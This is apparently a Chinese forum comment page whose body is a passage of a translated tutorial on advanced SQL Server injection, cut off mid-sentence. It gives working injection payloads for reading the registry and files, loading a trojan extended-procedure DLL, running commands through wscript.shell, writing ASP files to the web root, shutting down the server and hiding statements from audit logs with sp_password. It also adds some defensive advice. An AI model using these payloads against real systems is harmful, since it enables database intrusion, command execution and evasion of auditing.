[修改回复]
删除回复
插入表情:
宋体
楷体
幼圆
黑体
隶书
华文行楷
方正舒体
Arial
Arial Black
Arial Narrow
Century Gothic
Comic Sans MS
#0000FF
#8A2BE2
#DEB887
#5F9EA0
#7FFF00
#000000
#D2691E
#FF7F50
#FF0000
#DC143C
#99ccff
字体颜色
#FFF8DC
#00FFFF
#EE82EE
#F5DEB3
#FFFFFF
#F5F5F5
#FFFF00
#9ACD32
使用帮助
另外一个有用的内置的扩展存储是xp_regXXX函数 xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite 其中一些函数的用法的举例: exec xp_regread HKEY_LOCAL_MACHINE 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' (它决定服务器的空连接式共享是否可用) exec xp_regenumvalues HKEY_LOCAL_MACHINE 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' (它显示所有的服务器上SNMP公共的设置,通过这个信息,攻击者可以在相同的网络区域里重新配置网络设置,因为SNMP共有设置很少被改变而且由很多主机共享) 可以想象攻击者怎样利用这些函数来读取SAM文件,改变系统设置在重新启动后就被服务的应用,或者在用户下一次登陆时运行任意命令。 [其他扩展存储] xp_servicecontrol扩展存储允许用户启动,停止,暂停或者运行服务。 exec master..xp_servicecontrol 'start', 'schedule' exec master..xp_servicecontrol 'start', 'server' 下面是一些其他有用的扩展存储表: xp_availablemedia 显示机器上可用的驱动器 xp_dirtree 获得一个目录树 xp_enumdsn 列举服务器上的ODBC数据源 xp_loginconfig 显示服务器的安全状态信息 xp_makecab 允许用户在服务器上创建压缩文件(或者任何服务器可以访问的文件) xp_ntsec_enumdomains 列举服务器可以访问的域 xp_terminate_process 结束一个给定PID进程 [联合服务器] SQL-Server提供了一个服务器联合的机制,就是允许一个数据库服务器上的查询操作其他服务器的数据。这些联合设置存放在master..sysservers表里,如果一个相连的服务器使用了'sp_addlinkedsrvlogin'存储过程,一个自动的登陆了的连接已经存在,可以通过它不登陆而访问该服务器。'openquery'函数允许查询在联合服务器上执行。 [用户自定义扩展存储] 扩展存储的API是相当简单的,创建一个带有恶意代码的扩展存储DLL也是相当容易的。通过命令行有很多方法将DLL上传到服务器,还有其他的很多方法包括各种通信机制来自动实现,比如HTTP下载和FTP脚本。 一旦DLL文件出现在服务器上SQL-Server可以访问,这不一定需要SQL-server本身,攻击者可以通过下面添加扩展存储(这里,我们的恶意扩展存储是个用来操作服务器的文件系统小的木马) sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll' 扩展存储就可以通过一般的方法调用: exec xp_webserver 一旦这个扩展存储执行过,可以这样删除它: sp_dropextendedproc 'xp_webserver' [向表中导入文本文件] 利用'bulk insert'语句,可以把一个文本文件的内容插入进一张临时表,我们简单的创建一个表: create table foo( line varchar(8000) ) 然后执行bulk insert来插入数据来自于一个文件: bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp' 通过上面介绍过的错误信息技巧就可以得到数据,或者通过一个'union'查询,把文本数据作为查询的数据返回。这对于获得存储在数据库里的脚本如asp脚本很有用。 [利用BCP创建文本文件] 利用和'bulk insert'作用相反的技术创建任意的文本文件非常简单。不过需要一个命令行工具'bcp'('bulk copy program'),因为bcp在SQL-Server进程外访问数据库,它需要一次登陆。但是这不难,因为攻击者都可以创建一个;或者如果服务器配置使用了“完整性”安全模式,攻击者可以利用它。 命令行格式如下: bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar 'S'参数是要运行查询的服务器,'U'参数是用户名,'P'是密码,这里的密码是'foobar'。 [SQL-Server 里的ActiveX自动脚本] SQL-Server提供了一些内置的扩展存储,允许在SQL-Server内创建ActiveX自动脚本。这些脚本在功能上和windows scripting host上运行的脚本或者asp脚本(通常用Javascript或者Vbscript编写)一样,脚本创建自动对象并且通过他们产生作用。一个用Transact-SQL写的自动脚本可以做任何asp脚本或者WSH脚本能做的事。 下面提供一些例子来说明: 1)这个例子用'wscript.shell'对象创建一个notepad的实例(当然这里也可以是任何命令行命令) -- wscript.shell example declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' 在我们的例子里可以使用这样的用户名(都在一行): Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'-- 2)这个例子用'scripting.filesystemobject'对象去读已知的文本文件: -- scripting.filesystemobject example - read a known file declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1 exec @ret = sp_oamethod @f, 'readline', @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end 3)下面的例子创建一个asp脚本执行任意命令: -- scripting.filesystemobject example - create a 'run this' .asp file declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, ' ' 需要注意的很重要的一点是Windows NT4,IIS4平台asp脚本将会以'system'的帐号运行,而在IIS5他们会以低权限的IWAM_xxx帐号运行。 4)这个例子(稍带欺骗性)说明这项技术的灵活性,它用'speech.voicetext'(译者注:参考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/html/msdn_texttosp.htm)对象,使SQL Server说话: declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528 waitfor delay '00:00:05' 这当然也可以在我们的例子里使用,通过指定下面的'username'(注意例子不只是注入一段脚本,同时也以'admin'的身份登陆了程序) 用户名: admin';declare @o int, @ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o, 'register', NULL, 'foo','bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'- [存储过程] 传统的认识是如果ASP程序使用了数据库系统的存储过程,那么就不可能SQL注入了。这句话不完全对,这依赖于ASP脚本调用存储过程的方式。 本质上,一个带参数的查询执行了,用户提供的参数就被安全的传给查询,SQL注入就不可能了。但是,如果攻击者可以对无数据部分的查询语句施加任何影响,他们仍然可能控制数据库。 一个有用的规则是: 1. 如果ASP脚本创建了一个提交给服务器的SQL查询语句,这是很容易被SQL注入的,即使它使用了存储过程。 2. 如果ASP脚本使用了封装传递参数给存储过程的过程对象(如ADO command对象,和参数集合一起使用的)那么它通常就很安全了,但是这还要取决于对象的执行。 明显的,最好习惯于验证所有的用户输入,因为新的攻击技术会不停的涌现。 为了说明存储过程查询的注入,运行下面的SQL语句: sp_who '1' select * from sysobjects 或者 sp_who '1' ; select * from sysobjects 任何附加语句在存储过程执行后还是可以执行。 [高级Sql注入] 一个应用程序通常过滤单引号,另一方面限制用户的输入,比如限制长度。 在这里,我们将讨论一些绕过一些明显的SQL注入防范的和长度限制的技巧。 [没有符号的字符串] 有时候,开发人员可能已经通过过滤单引号来保护应用程序,比如用VBScript的'replace'函数: function escape( input ) input = replace(input, "'", "''") escape = input end function 不可否认,这会阻止所有的对我们上面给出的对示例站点的攻击,删除';'字符也会起作用。但是,在一个大的程序里一些用户输入可能被假定为数值型。这些值没有限制,提供了很多可以注入的地方。 如果攻击者希望创建一个字符串值而不使用引号,他们可以用'char'函数。例如: insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff) 它是一个往表里插入字符的不带引号的查询语句。 当然,如果攻击者使用一个数值型的用户名和密码的话,下面的语句也同样可以很好的执行: insert into users values( 667, 123, 123, 0xffff) 因为SQL-Server自动将数值型的转换成'varchar'类型,类型转换是默认的。 [SQL二次注入] 即使一个程序总是过滤单引号,攻击者仍然可以先注入SQL作为数据存放在数据库里然后被程序再次使用。 比如,一个攻击者可能通过注册,创建一个用户名 Username: admin'-- Password: password 程序正确的过滤了单引号,'insert'语句如下: insert into users values ( 123, 'admin''--', 'password', 0xffff) 我们假设程序允许用户更改密码,ASP脚本在设置新的密码前先确认用户旧密码正确。代码可能这样写: username = escape( Request.form("username") ); oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") ); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'"; rso.open( sql, cn ); if (rso.EOF) { … 设置新密码的查询语句可能这样写的: sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'" rso("username")是登陆的查询返回的的用户名。 用户名为admin'--,上面的查询就变成了这样: update users set password = 'password' where username = 'admin'--' 因此攻击者可以通过注册了一个名叫admin'--的用户来把admin的密码改成他们自己的。 这是个危险的问题,目前大部分的大型程序都试图过滤数据。最好的解决方法是拒绝非法输入,而不是简单的改变它。这有时候会导致一些问题,非法字符在某些地方是必要的,比如在名字带符号的情况: O'Brien 从安全的角度,最好的解决办法是不允许出现单引号。如果这样不行,必须避免它们出现,这种情况下,最好保证所有要进入SQL语句的字符(包括从数据库里取出的字符)都被正确的处理过。 即使这样攻击依然可能实现:如果攻击者可以不经过程序而往系统插入数据。比如攻击者有一个email接口,或者有一个可以控制的错误记录数据库。最好总是验证所有的数据,包括系统里的数据,验证函数调用很简单,比如: if ( not isValied( "email", request.querystring("emil") ) ) then response.end 或者其他的方法 [长度限制] 有时候输入对数据的长度加以限制会使攻击困难许多,这的确阻止了一些攻击,但一个很短的SQL语句也可能造成非常大的危害: Username: ';shutdown-- 关闭SQL-Server,只用了12个字符。另一个例子: drop table 如果长度限制是在字符串过滤后,另一个问题可能会发生。假设用户名被限制在16个字符之内,密码也被限制在16个字符之内,下面的用户名和密码结合可以执行'shutdown'命令: Username:aaaaaaaaaaaaaaa' Password:'; shutdown-- 原因是程序过滤用户名最后的单引号,但是字符串又被切回到16个字符,删除了过滤的单引号。结果是密码域可以包含一些SQL, 只要它以一个单引号开始,最后的查询会变成这样: select * from users where username = 'aaaaaaaaaaaaaa'' and password=''';shutdown-- 用户名在查询里就变成: aaaaaaaaaaaaaaa' and password=' 后面附上的SQL被执行。 [躲避审核] SQL Server在sp_traceXXX系列的函数包含丰富审核接口,它可以记录任何数据库里的事件。这里我们特别感兴趣的是T-SQL事件,它记录了所有的SQL语句以及服务器上准备好的和已运行了的批处理。如果这个级别的审核开启的话,所有我们讨论的注入都将被记录下来有经验的数据库管理员将会看到所有发生的事情。但是如果攻击者附加下面的字符: sp_password 到一个Transact-SQL语句,这个审核记录如下: -- 'sp_password' was found in the text of this event. -- The text has been replaced with this comm
不能为空
不能含有 ` 字符,字数8000以内
(CTRL+ENTER提交)
关闭窗口